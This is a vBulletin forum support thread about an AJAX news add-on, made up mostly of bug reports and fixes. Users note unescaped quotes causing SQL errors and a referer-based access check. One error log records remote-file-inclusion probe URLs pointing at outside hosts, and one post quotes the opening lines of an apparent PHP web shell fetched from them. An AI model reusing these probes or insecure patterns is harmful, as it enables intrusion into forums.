[AJAX] News/Announcements

[harmor19]

With this add-on you can quickly add new or announcements on your forum's index, forum display, or thread display. Each forum and thread can have their own unique message.

In the vBulletin options you can choose which user's can edit the text by entering their user ID into the box.
You can choose whether or not moderators can edit the message in the forums they moderate.
You can choose if you want the news/announcements to display on forum home, forum display, or thread display.

You can use bbcode and HTML but only if HTML tags have bbocde to convert to.
For example if you type <b></b> it'll convert to .

Here are some screensohts
http://xenweb.net/images/ajaxnews/ajaxnews_1.png
http://xenweb.net/images/ajaxnews/ajaxnews_2.png

[harmor19]

I hope you like this hack.

[needtheend]

Thanx

[HDT]

This should work on 3.6.0 with totally customize template?

[harmor19]

This should work on 3.6.0 with totally customize template?
I can't promise if it will work.

[harmor19]

Before anyone asks I like to explain some things.

If you want the moderator's to be able to edit the news/announcement of the forums they moderate you don't have to enter their User ID in the text box.

If you want line breaks in the news/announcements you'll need to use the break tag ( <br /> ).

[apfparadise]

installed, but nothing is happening as far as AJAX. I have AJAX on, other things work, but this one, I click and click and it stays a line of text. It's on, and I have ability to moderate it. Nothing.

[ChopBam]

When I click to Mark all Forums as read, I get a database error.
Everything else seems to run pretty smoothly.

I would prefer though if when you click to edit it that the codes stay in BB format, because HTML doesn't show up.

[bitdefuser]

Suggestions:
Make it global for all the boxes. (I don't want to manually edit every single forum's box and put the message I want.)

[harmor19]

When I click to Mark all Forums as read, I get a database error.
Everything else seems to run pretty smoothly.

I would prefer though if when you click to edit it that the codes stay in BB format, because HTML doesn't show up.
I'll look into the database error.
When you edit the message doesn't show the way I want it to but when you refresh the page it should show fine.


Suggestions:
Make it global for all the boxes. (I don't want to manually edit every single forum's box and put the message I want.)
I'll try to do this in the next release.

[ChopBam]

When you edit the message doesn't show the way I want it to but when you refresh the page it should show fine.
Ah I see. It's a little inconvenient but it's better than what I had originally thought.
Can anybody else confirm the DB error? I'm running on 3.6.5 with some modified templates and a bunch of other hacks.

[harmor19]

I have fixed the database error. I will upload the upgrade after I upload the upgrade for "Usergroup Messages".

[harmor19]

I have fixed the database error when marking threads as read.

[bitdefuser]

I'll try to do this in the next release.

Thanks and good luck! :)

[dbirosel]

Sweet BB Code, but why do we still need to enter the <br /> tag, if BB code is enabled?

What about if they moderate a certain forum, but i don't want them to have permission with the news/announcements feature?

[projectego]

* projectego clicks install :)

[harmor19]

Sweet BB Code, but why do we still need to enter the <br /> tag, if BB code is enabled?

What about if they moderate a certain forum, but i don't want them to have permission with the news/announcements feature?
Do you mean if a user can moderate two forums but you only want them to have permission to use the news/announcement feature on one forum and not the other?
If so it isn't possible with this version.

[efil]

Hi,
Where should i find the templates that need to edit?

I can't find them.

[harmor19]

Hi,
Where should i find the templates that need to edit?

I can't find them.
In your ACP go to Styles & Templates --> Style Manager Click on the button that looks like this [<< >>].
Here you will find "headerinclude" and "navbar". navbar can be found in "Navigation / Breadcrumb Templates"

[efil]

In your ACP go to Styles & Templates --> Style Manager Click on the button that looks like this [<< >>].
Here you will find "headerinclude" and "navbar". navbar can be found in "Navigation / Breadcrumb Templates"

In your install.txt file and now you are writing "headerinclude" instead of "headinclude".
Thats why i didn't find it in the search.

[harmor19]

In your install.txt file and now you are writing "headerinclude" instead of "headinclude".
Thats why i didn't find it in the search.
Sorry about that.

[hdrmut]

Hello

thanx for great hack

but this not support arabic Language [ charset=windows-1256 ]

soo can you make it suported ?

[Hornstar]

Looks like a nice looking mod, will consider this in the near future. thanks.

[Harley77]

Great hack. My only suggestion is to allow the option of making the announcement block global. That is, the same thing is displayed on ALL pages, rather than each one having it's own.

[harmor19]

I think I have figured out how to make messages global. I am working on it right now.

[harmor19]

This was a quick upgrade to allow a global message. In the future I'd like to implement inheritance. This means that you can have each forum have their own message and have the threads in the respective forum share the same message.

Changed Files
-- product-ah_ajaxnews.xml

Changed Templates
-- navbar

[projectego]

Thanks for the update. :)

[harmor19]

Hello

thanx for great hack

but this not support arabic Language [ charset=windows-1256 ]

soo can you make it suported ?
I don't know how to go about doing that.

[Terminatoronly]

awsem i been waiting for a new mod :D

[efil]

It's not working in hebrew lang!

[Harley77]

This was a quick upgrade to allow a global message. In the future I'd like to implement inheritance. This means that you can have each forum have their own message and have the threads in the respective forum share the same message.

Changed Files
-- product-ah_ajaxnews.xml

Changed Templates
-- navbar



Awesome. Works perfectly.

[Sofia]

Thanks a lot, harmor ! I love your hacks.

It's very clean and i like it :)

[Sofia]

harmor, i've a little problem.

I indicate my ID in the options, i activate your hack, but when i try to change the news, it indicate me "Direct Access is Prohibited". Why there is this message ?

I read the php file :

if($can_edit == 0 OR !$_SERVER['HTTP_REFERER'])
{
die('Direct Access is Prohibited');
}

$can_edit == 0 -> i can edit

!$_SERVER['HTTP_REFERER'] -> ???

So when i delete !$_SERVER['HTTP_REFERER'], it's good, but why ?

Thanks :)

[Sinistra]

When posting news with any (") or (') I get a database error Also when adding vBcode int converts the coed th HTML this also needs to be fixed and you will have a great hack

[Sofia]

Hi harmor, i have translate your hack into french. I put it here, if you want to add in your thread :)

Excellent hack ;)

[Veer]

Very Nice hack.

Thanks.

[bitdefuser]

This was a quick upgrade to allow a global message. In the future I'd like to implement inheritance. This means that you can have each forum have their own message and have the threads in the respective forum share the same message.

Changed Files
-- product-ah_ajaxnews.xml

Changed Templates
-- navbar
Yes! :) Thanks for adding my suggestion but, the global function does not work.

[harmor19]

Yes! :) Thanks for adding my suggestion but, the global function does not work.
Did you enable it in vBulletin Options -- > Ajax News Settings?

[v2neo]

does this work wiht 3.6.5?

thanx

[harmor19]

does this work wiht 3.6.5?

thanx
It should work.

[v2neo]

It should work.

im getting some java error on page.

and when i click on the sentence to modify my message nothing happens (cant click)


attached is the error picture

[harmor19]

harmor, i've a little problem.

I indicate my ID in the options, i activate your hack, but when i try to change the news, it indicate me "Direct Access is Prohibited". Why there is this message ?

I read the php file :

if($can_edit == 0 OR !$_SERVER['HTTP_REFERER'])
{
die('Direct Access is Prohibited');
}

$can_edit == 0 -> i can edit

!$_SERVER['HTTP_REFERER'] -> ???

So when i delete !$_SERVER['HTTP_REFERER'], it's good, but why ?

Thanks :)
I added $_SERVER['HTTP_REFERER'] so people couldn't go directly to the file and add the values through the URL. It really isn't needed as the only people who are permitted to change the message are the only ones that can pass values through the URL.

Thank you for the French translation. I see that you wrote a better installation document.

[harmor19]

im getting some java error on page.

and when i click on the sentence to modify my message nothing happens (cant click)

attached is the error picture
I never tested this hack on IE7 so I didn't realize there would be an error. I'll look into it now and get back to you.


Edit: I cannot reproduce that error o my installation of IE7. I don't know what would be causing the problem.

[v2neo]

I never tested this hack on IE7 so I didn't realize there would be an error. I'll look into it now and get back to you.


Edit: I cannot reproduce that error o my installation of IE7. I don't know what would be causing the problem.

im really new to vbulletin. Did i possible do somethign wrong in my installation? Am i correct in assuming that the way to modify the news is directly from the forum site and not from admin c/p?

Also when i enable moderators to be able to modify the news i can see the field to click on, however if i disable that and input user names than i can not see the news field

thanx

v2

[harmor19]

im really new to vbulletin. Did i possible do somethign wrong in my installation? Am i correct in assuming that the way to modify the news is directly from the forum site and not from admin c/p?

Also when i enable moderators to be able to modify the news i can see the field to click on, however if i disable that and input user names than i can not see the news field

thanx

v2
How "Enter comma-seperated User ID's that can add/edit news" works is you put the ID of the user into the box that you want to have permission to edit the news/announcement on every page.

So on your site you're user ID should be "1" and let's say you have another admin and their user ID is "5" and you want both you and the other admin to edit the announcements. In the text box you would type 1,5.

How "Moderators can add/edit news in the forum(s) they moderate." works is that you're moderators can edit the news ONLY in the forums they moderate.
If you have enabled "Global Message" it will over-ride the moderators' permission to edit the announcement.
When "Global Messages" are enabled the only people who can change the announement are the user's of the user IDs that you typed in the text box.

I will try to improve upon this hack and add more features so it isn't as limited.

[harmor19]

When posting news with any (") or (') I get a database error Also when adding vBcode int converts the coed th HTML this also needs to be fixed and you will have a great hack
I forgot to escape the quotes. I'll upload a fix soon.

[mrpaint]

this code not support tag [img]?
this code not support unicode?
when i type some kind of different language like Spanish it's don't show the right words but come out like s?a

[harmor19]

this code not support tag [img]?
this code not support unicode?
when i type some kind of different language like Spanish it's don't show the right words but come out like s?a
I'll create options to

*Allow users' of the User IDs you typed in the text box to use HTML.
*Allow moderators to use HTML
*Allow users' of the User IDs you typed in the text box to use image bbcode
*Allow moderators to use image bbcode.


I'm sorry about the Spanish word not being displayed correctly. I don't know what would be causing that.

[mrpaint]

After
https://vborg.vbsupport.ru/attachment.php?attachmentid=62936&stc=1&d=1176259924
Before
https://vborg.vbsupport.ru/attachment.php?attachmentid=62937&stc=1&d=1176259924

[Veer]

this code not support tag [img]?
this code not support unicode?
when i type some kind of different language like Spanish it's don't show the right words but come out like s?a
Same issue here, i think Unicode's are not supported..
I'm trying to write "Urdu" Unicode words but not being displayed correctly.

[Snake]

Wow I have been waiting for this. I used to have this feature while I was running on IPB back in the day.

Thanks!

[v2neo]

How "Enter comma-seperated User ID's that can add/edit news" works is you put the ID of the user into the box that you want to have permission to edit the news/announcement on every page.

So on your site you're user ID should be "1" and let's say you have another admin and their user ID is "5" and you want both you and the other admin to edit the announcements. In the text box you would type 1,5.

How "Moderators can add/edit news in the forum(s) they moderate." works is that you're moderators can edit the news ONLY in the forums they moderate.
If you have enabled "Global Message" it will over-ride the moderators' permission to edit the announcement.
When "Global Messages" are enabled the only people who can change the announement are the user's of the user IDs that you typed in the text box.

I will try to improve upon this hack and add more features so it isn't as limited.

ok my mistake was using user name instead of user number, but i still cant click on the field to input any message.

Just to clarify i should be able to just click on "Click on this sentence to change this message. " in the forum and type my message. and not in the admin c/p panel correct?

v2

PS i can give you access to my admin C/P if you would like to check it out

[DJ XtAzY]

nice hack.. i'll wait until the next update =]

[Veer]

Hi, I Have updated [vb]ajaxnews1.1.0.zip but its still 1.0.0

[harmor19]

Hi, I Have updated [vb]ajaxnews1.1.0.zip but its still 1.0.0
I just forgot to change the version number. This is nothing to worry about.

[farooqaaa]

Thanks man! this is nice!

[Veer]

I just forgot to change the version number. This is nothing to worry about.
Its all right, harmor19 :)

Please add the ability to use full html codes, so we can add announcements with images, colors, fonts styles etc..
Thanks.

[kube]

My problem is:

I write for example

Hello

nice tool

and if ich will add the next time someting, it shows afterwards


Hello
<br><br>
nice tool
<br> added text


if i add something more, he doubles all tags !

Hello
<br><br><br><br>
nice tool
<br><br> added text


and i (i`m allowed to edit) see all tags like they are "<br>" and not the "real" output when i leave the field...


sorry for my english, but i hope you understand what i mean....

[buontaiviem]

Did not support HTML code. I tried this code but did not show images and link.

<a href="http://.....com" target="_blank"><img src="http://.....com/logo.gif" width=468 height=60 border=0></a>

[ChopBam]

I'm getting another database error from this modification whenever anybody goes to an invalid thread.

For example, t=10000 and that isn't a thread.
There'll be a DB error and I'll get an email about it. Quite annoying.
Confirm?

[bc3tech]

I installed per instructions, go to my forum, set my message, click outside the box. and the message displays 'false' and no changes get made. If i reload the page, the default message is shown.

[tycity]

Couldn't add News originally in firefox to no avail, but worked flawlessly in IE. You an see the news once entered in IE but you can't enter it. So I'm adding news from IE but it looks great in FF too. Thanks for such a great mod.. wish I had known it wouldn't allow me to edit in FF but it worked out. Thanks!

[fuldon]

Any updates?

[bc3tech]

Any updates?
ditto... curious to know what my 'false' problem is.

[FleXy]

I'm getting another database error from this modification whenever anybody goes to an invalid thread.

For example, t=10000 and that isn't a thread.
There'll be a DB error and I'll get an email about it. Quite annoying.
Confirm?

damn, it's my problem too...
plugin uninstalled
I am looking for updates or another one plugin like this.

[bc3tech]

uninstalled.

[Ekshi]

Turkish character problem.

[Fuzzy Orange]

This is not working for me at all

I have global message turned on - but looking in the mysql table it's still saving the messages I type into a specific forum in the database

But then when you go around the site its always pulling the first message out!!

[Fuzzy Orange]

OK it seems to work as long as I only ever edit the message when im on the index page!!

Could do with some polishing of the php code, as if you have global message on but edit the message inside one of the forums, that message just saves into the database with the forum location and obviously never gets displayed

PHP code needs changing so that if you have global message turned on then it saves the message in the database with a location of "global" and always shows this "global" message on every page!

Also if you put bbcode in the message - when you click to edit it again you get the actual html instead, and that wont save again!

[Fuzzy Orange]

Uninstalled - way too many bugs and unfinished product

Decided to just put a global message hard coded into the navbar template instead!

[aakhan136]

thanks

[ThE LeAdEr]

Les dejo el pluggin traducido al Español.

IN SPANISH VERSION !!!

HERE !

[Ratman2050]

Can you remove them too after you write the headlines?

[T_Richardson]

Having a hard time for images to show. What image tags are supported?

[Derek Chai]

Doesn't work in 3.6.8 or is it my forum?

[ChopBam]

It works fine for me in 3.6.8. PL 2.

[TS_CUZ]

how do i change the message?

[kylek]

Installed on latest 3.6.8 and everything looked good, messages show and are editable.
However the use of non alpha characters are not displaying right still.

Also now getting this database error:

Database error in vBulletin 3.6.8:

Invalid SQL:
SELECT * FROM ah_ajaxnews WHERE location='thread' && id =;

MySQL Error : You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1
Error Number : 1064
Date : Tuesday, January 1st 2008 @ 08:12:39 PM
Script : http://xxxxxxxxx.xxx/forum/showthread.php?t=http://joioiskioeriyyskwkdwjsdfewis.land.ru/.html/body
Referrer :
IP Address : xxxxxxxxx
Username : exxxxx
Classname : vb_database

[VADOS]

I have a russian board and after I edit the text I get something like this (see attach)

It's not converted UTF8 as I get it...

Can you fix the problem?

P.S. - the window is too wide, can you use a global variable of board width from the global options? Thank you!

[kylek]

Installed on latest 3.6.8 and everything looked good, messages show and are editable.
However the use of non alpha characters are not displaying right still.

Also now getting this database error:

Database error in vBulletin 3.6.8:

Invalid SQL:
SELECT * FROM ah_ajaxnews WHERE location='thread' && id =;

MySQL Error : You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1
Error Number : 1064
Date : Tuesday, January 1st 2008 @ 08:12:39 PM
Script : http://xxxxxxxxx.xxx/forum/showthread.php?t=http://joioiskioeriyyskwkdwjsdfewis.land.ru/.html/body
Referrer :
IP Address : xxxxxxxxx
Username : exxxxx
Classname : vb_database

Still getting the same database error over and over, anyone else getting this?
Also what is the second address in the script? This - http://joioiskioeriyyskwkdwjsdfewis.land.ru/.html/body (http://xxxxxxxxx.xxx/forum/showthread.php?t=http://joioiskioeriyyskwkdwjsdfewis.land.ru/.html/body) has nothing to do with our site.

[kylek]

Now getting other script addresses in the database error:

http://www.xxxxx.xxx/forum/showthread.php?t=http://joioiskioeriyyskwkdwjsdfewis.land.ru/.html/body?

Same error different email in script:

http://www.xxxxxxx.xxx/forum/showthread.php?p=http://miususicksjiosmdfserionssdfs.krovatka.su/.cache/index?

Uninstalling until this can be explained.

[Ulf T]

Still getting the same database error over and over, anyone else getting this?
Also what is the second address in the script? This - http://joioiskioeriyyskwkdwjsdfewis.land.ru/.html/body (http://xxxxxxxxx.xxx/forum/showthread.php?t=http://joioiskioeriyyskwkdwjsdfewis.land.ru/.html/body) has nothing to do with our site.I really don't know what it is. I just thought i would let you know i?ve also seen this address:

http://img217.imageshack.us/img217/7103/strangeactivityyl9.png

I haven?t installed this AJAX News hack, so i doubt that could have anything to do with it. But i maybe missunderstand you. Do you think the hack could be the reason why this strange url gives you database errors? Because i don?t get any database errors. I just see this address coming up in the activity list.

[Ulf T]

I tried the url, and downloaded the file "body". I have a mac, so i think it was fairly safe for me. I found a script inside it. It?s too obfuscated for me to find out what it?s doing. But i presume it?s something evil. Here is a part of the beginning:<? set_time_limit(0); ini_set("max_execution_time",0); set_magic_quotes_runtime(0); ini_set('output_buffering',0); error_reporting(0); ignore_user_abort();
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[VADOS]

Unistalled.